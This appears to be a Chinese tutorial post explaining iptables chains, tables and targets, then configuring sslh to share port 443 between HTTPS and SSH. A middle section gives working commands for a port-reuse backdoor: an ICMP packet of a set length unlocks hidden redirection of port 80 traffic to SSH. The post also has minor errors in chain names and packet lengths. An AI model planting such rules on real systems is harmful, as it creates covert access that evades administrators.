天天看点

iptables的运用原理,iptables端口复用后门,sslh端口的共享

防火墙分为软件防火墙和硬件防火墙

iptables是一个应用层的应用程序,它的作用是通过不同的规则来限制流量的流向,规则从上到下依次匹配。

iptables开启后,数据报文从进入服务器到出来会经过5道关卡,分别为Prerouting(路由前)、Input(输入)、Outpu(输出)、Forward(转发)、Postrouting(路由后):

iptables的运用原理,iptables端口复用后门,sslh端口的共享

prerouting(数据包从互联网进入局域网通主要用于网络地址的转换)

forward(进行数据包的转发,通过规则判断数据包是否被允许转发)

input(数据包的进入,通过相应规则判断数据包是否被允许进入访问服务)

output(数据报的离开,通过相应规则判断该数据包是否被允许离开本机)

postrouting(从局域网到互联网,主要用于网络地址的转换)

Iptables 提供了四种表

filter表:主要用于对数据包进行过滤

nat表:网络地址转换功能,主要用于修改数据包的IP地址、端口号等信息

mangle表:拆解报文,做出修改,并重新封装

raw表:主要用于决定数据包是否被状态跟踪机制处理,在匹配数据包时,raw表的规则要优先于其他表,对应内核模块iptables_raw。

表的优先级 raw->mangle->bat->filter

处理的动作

ACCEPT:允许数据包通过;

DROP:直接丢弃数据包,不回应任何信息,客户端只有当该链接超时后才会有反应;

REJECT:拒绝数据包,会给客户端发送一个数据包被丢弃的响应的信息;

SNAT:S指Source,源NAT(源地址转换)。在进入路由层面的route之后,出本地的网络栈之前,改写源地址,目标地址不变,并在本机建立NAT表项,当数据返回时,根据NAT表将目的地址数据改写为数据发送出去时候的源地址,并发送给主机。解决私网用户用同一个公网IP上网的问题;

MASQUERADE:是SNAT的一种特殊形式,适用于动态的、临时会变的IP上;

DNAT:D指Destination,目的NAT,解决私网服务端,接收公网请求的问题。和SNAT相反,IP包经过route之前,重新修改目标地址,源地址不变,在本机建立NAT表项,当数据返回时,根据NAT表将源地址修改为数据发送过来时的目标地址,并发给远程主机。可以隐藏后端服务器的真实地址;

REDIRECT:在本机做端口映射;

LOG:在/var/log/messages文件中记录日志信息,然后将数据包传递给下一条规则。 除去最后一个LOG,前3条规则匹配数据包后,该数据包不会再往下继续匹配了,所以编写的规则顺序极其关键。

iptables端口复用后门

创建自定义链

[[email protected] ~]# iptables -t nat -N xiaofeixia

查看自定义链是否生效

[[email protected] ~]# iptables -nvxL -t nat

创建端口复用规则,将流量发至22端口

[[email protected] ~]# iptables -t nat -A xiaofeixia -p tcp -j REDIRECT --to-port 22

开启开关,收到1139的icmp包后将源ip添加到wang的列表

[[email protected] ~]# iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name wang --rsource -j ACCEPT

开启开关,收到1139的icmp包后将源ip从wang的列表去掉

[[email protected] ~]# iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name wang --remove -j ACCEPT

如果发现syn包的来源Ip处于wang的列表,将跳转到LETMEIN链进行进行处理有效时间3600秒

[[email protected] ~]# iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name wang --rsource -j xiaofeixia

效果

iptables的运用原理,iptables端口复用后门,sslh端口的共享
iptables的运用原理,iptables端口复用后门,sslh端口的共享
iptables的运用原理,iptables端口复用后门,sslh端口的共享

sslh工具

SSLH可以使htttps SSH共享一个端口

安装sslh工具

yum install sslh

修改apache配置文件

iptables的运用原理,iptables端口复用后门,sslh端口的共享

编辑sslh配置文件

iptables的运用原理,iptables端口复用后门,sslh端口的共享

–user sslh:要求在这个特定的用户身份下运行。

 –listen 0.0.0.0:443:SSLH 监听于所有可用接口的 443 端口。

 –sshs 127.0.0.1:22 : 将 SSH 流量路由到本地的 22 端口。

–ssl 127.0.0.1:443 : 将 HTTPS/SSL 流量路由到本地的 443 端口。

启用和启动sslh服务

systemctl enable sslh

systemctl start sslh

$ ps -ef | grep sslh查看sslh是否监听443端口

iptables的运用原理,iptables端口复用后门,sslh端口的共享